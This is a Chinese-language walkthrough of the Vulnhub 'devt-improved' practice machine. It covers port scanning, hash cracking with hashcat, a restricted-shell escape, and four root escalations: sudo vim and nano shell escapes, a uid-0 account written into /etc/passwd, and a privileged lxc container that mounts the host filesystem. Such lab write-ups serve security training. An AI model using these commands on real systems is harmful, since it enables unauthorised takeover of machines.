信息收集

IP Address	Opening Ports
192.168.101.149	TCP:22,113,139,445,8080

$ nmap -p- 192.168.101.149 --min-rate 1000 -sC -sV

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 79:07:2b:2c:2c:4e:14:0a:e7:b3:63:46:c6:b3:ad:16 (RSA)
|_  256 24:6b:85:e3:ab:90:5c:ec:d5:83:49:54:cd:98:31:95 (ED25519)
113/tcp  open  ident?
|_auth-owners: oident
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_auth-owners: root
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
|_auth-owners: root
8080/tcp open  http-proxy  IIS 6.0
|_http-server-header: IIS 6.0
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Mon, 15 Jul 2024 11:38:11 GMT
|     Server: IIS 6.0
|     Last-Modified: Wed, 26 Dec 2018 01:55:41 GMT
|     ETag: "230-57de32091ad69"
|     Accept-Ranges: bytes
|     Content-Length: 560
|     Vary: Accept-Encoding
|     Connection: close
|     Content-Type: text/html
|     <html>
|     <head><title>DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!</title>
|     </head>
|     <body>
|     <p>Welcome to the Development Page.</p>
|     <br/>
|     <p>There are many projects in this box. View some of these projects at html_pages.</p>
|     <br/>
|     <p>WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to [email protected].</p>
|     <br/>
|     <br/>
|     <br/>
|     <hr>
|     <i>Powered by IIS 6.0</i>
|     </body>
|     <!-- Searching for development secret page... where could it be? -->
|     <!-- Patrick, Head of Development-->
|     </html>
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Mon, 15 Jul 2024 11:38:11 GMT
|     Server: IIS 6.0
|     Allow: GET,POST,OPTIONS,HEAD
|     Content-Length: 0
|     Connection: close
|     Content-Type: text/html
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Date: Mon, 15 Jul 2024 11:38:11 GMT
|     Server: IIS 6.0
|     Content-Length: 294
|     Connection: close
|     Content-Type: text/html; charset=iso-8859-1
|     <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|     <html><head>
|     <title>400 Bad Request</title>
|     </head><body>
|     <h1>Bad Request</h1>
|     <p>Your browser sent a request that this server could not understand.<br />
|     </p>
|     <hr>
|     <address>IIS 6.0 Server at 192.168.101.149 Port 8080</address>
|_    </body></html>
|_http-title: DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=7/15%Time=66950A23%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,330,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2015\x20Jul\x202
SF:024\x2011:38:11\x20GMT\r\nServer:\x20IIS\x206\.0\r\nLast-Modified:\x20W
SF:ed,\x2026\x20Dec\x202018\x2001:55:41\x20GMT\r\nETag:\x20\"230-57de32091
SF:ad69\"\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x20560\r\nVary:\x2
SF:0Accept-Encoding\r\nConnection:\x20close\r\nContent-Type:\x20text/html\
SF:r\n\r\n<html>\r\n<head><title>DEVELOPMENT\x20PORTAL\.\x20NOT\x20FOR\x20
SF:OUTSIDERS\x20OR\x20HACKERS!</title>\r\n</head>\r\n<body>\r\n<p>Welcome\
SF:x20to\x20the\x20Development\x20Page\.</p>\r\n<br/>\r\n<p>There\x20are\x
SF:20many\x20projects\x20in\x20this\x20box\.\x20View\x20some\x20of\x20thes
SF:e\x20projects\x20at\x20html_pages\.</p>\r\n<br/>\r\n<p>WARNING!\x20We\x
SF:20are\x20experimenting\x20a\x20host-based\x20intrusion\x20detection\x20
SF:system\.\x20Report\x20all\x20false\x20positives\x20to\x20patrick@goodte
SF:ch\.com\.sg\.</p>\r\n<br/>\r\n<br/>\r\n<br/>\r\n<hr>\r\n<i>Powered\x20b
SF:y\x20IIS\x206\.0</i>\r\n</body>\r\n\r\n<!--\x20Searching\x20for\x20deve
SF:lopment\x20secret\x20page\.\.\.\x20where\x20could\x20it\x20be\?\x20-->\
SF:r\n\r\n<!--\x20Patrick,\x20Head\x20of\x20Development-->\r\n\r\n</html>\
SF:r\n")%r(HTTPOptions,A6,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2015\x
SF:20Jul\x202024\x2011:38:11\x20GMT\r\nServer:\x20IIS\x206\.0\r\nAllow:\x2
SF:0GET,POST,OPTIONS,HEAD\r\nContent-Length:\x200\r\nConnection:\x20close\
SF:r\nContent-Type:\x20text/html\r\n\r\n")%r(RTSPRequest,1CD,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nDate:\x20Mon,\x2015\x20Jul\x202024\x2011:38:1
SF:1\x20GMT\r\nServer:\x20IIS\x206\.0\r\nContent-Length:\x20294\r\nConnect
SF:ion:\x20close\r\nContent-Type:\x20text/html;\x20charset=iso-8859-1\r\n\
SF:r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//IETF//DTD\x20HTML\x202\.0//EN\">
SF:\n<html><head>\n<title>400\x20Bad\x20Request</title>\n</head><body>\n<h
SF:1>Bad\x20Request</h1>\n<p>Your\x20browser\x20sent\x20a\x20request\x20th
SF:at\x20this\x20server\x20could\x20not\x20understand\.<br\x20/>\n</p>\n<h
SF:r>\n<address>IIS\x206\.0\x20Server\x20at\x20192\.168\.101\.149\x20Port\
SF:x208080</address>\n</body></html>\n");
Service Info: Host: DEVELOPMENT; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: DEVELOPMENT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2024-07-15T11:39:41
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: development
|   NetBIOS computer name: DEVELOPMENT\x00
|   Domain name: \x00
|   FQDN: development
|_  System time: 2024-07-15T11:39:41+00:00

枚举

http://192.168.101.149:8080/

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图

http://192.168.101.149:8080/html_pages

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图1

http://192.168.101.149:8080/development.html

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图2

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图3

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图4

http://192.168.101.149:8080/developmentsecretpage/patrick.php?logout=1

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图5

username:admin
password:1234

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图6

Exploit-db 上发现了一个名为/[path]/slog_users.txt的漏洞，该漏洞容易受到 RFI 的影响。请参阅 CVE 代码：2008-5762/63。

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图7

http://192.168.101.149:8080/developmentsecretpage/slog_users.txt

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图8

$ hashcat -m 0 -a 0 '4a8a2b374f463b7aedbb44a066363b81' /usr/share/wordlists/rockyou.txt

username:intern
password:12345678900987654321

username:patrick
password:P@ssw0rd25

username:qiu
password:qiu

本地权限

$ ssh [email protected]

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图9

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图10

$ echo os.system("/bin/bash")

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图11

Local.txt 截屏

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图12

Local.txt 内容

Congratulations on obtaining a user shell. 🙂

权限提升

vim 提权

intern@development:~$ cat work.txt

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图13

intern@development:/tmp$ su patrick

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图14

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图15

patrick@development:~$ sudo /usr/bin/vim

:set shell=/bin/bash
:shell

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图16

nano 提权

patrick@development:~$ sudo nano
patrick@development:~$ ^R^X
patrick@development:~$ reset; sh 1>&0 2>&0

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图17

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图18

/etc/passwd 提权

patrick@development:~$ openssl passwd -1 -salt maptnh opopop

$1$maptnh$ItUNUP3HGbsfXKvpOJ58V.

maptnh:$1$maptnh$ItUNUP3HGbsfXKvpOJ58V.:0:0:root:/root:/bin/bash

patrick@development:~$ sudo vim /etc/passwd

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图19

patrick@development:~$ su maptnh

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图20

lxc 提权

(kali)$ git clone https://github.com/saghul/lxd-alpine-builder.git

(kali)$ cd lxd-alpine-builder

构建包

(kali)$ sudo ./build-alpine

(kali)$ python3 -m http.server 10035

patrick@development:/tmp$wget http://192.168.101.128/alpine-v3.20-x86_64-20240712_0618.tar.gz

patrick@development:/tmp$ lxc image import /tmp/alpine-v3.20-x86_64-20240712_0618.tar.gz --alias test

patrick@development:/tmp$ lxc image list

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图21

patrick@development:/tmp$ lxc init test ignite -c security.privileged=true -s default

patrick@development:/tmp$ lxc config device add ignite test disk source=/ path=/mnt/root recursive=true

patrick@development:/tmp$ lxc start ignite

patrick@development:/tmp$ lxc exec ignite /bin/sh

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图22

Proof.txt 截屏

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…插图23

Proof.txt 内容

Congratulations on rooting DEVELOPMENT! 🙂

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[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…

信息收集

枚举

本地权限

Local.txt 截屏

Local.txt 内容

权限提升

vim 提权

nano 提权

/etc/passwd 提权

lxc 提权

Proof.txt 截屏

Proof.txt 内容

相关文章

发布评论取消回复

[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提…

信息收集

枚举

本地权限

Local.txt 截屏

Local.txt 内容

权限提升

vim 提权

nano 提权

/etc/passwd 提权

lxc 提权

Proof.txt 截屏

Proof.txt 内容

相关文章：

相关文章

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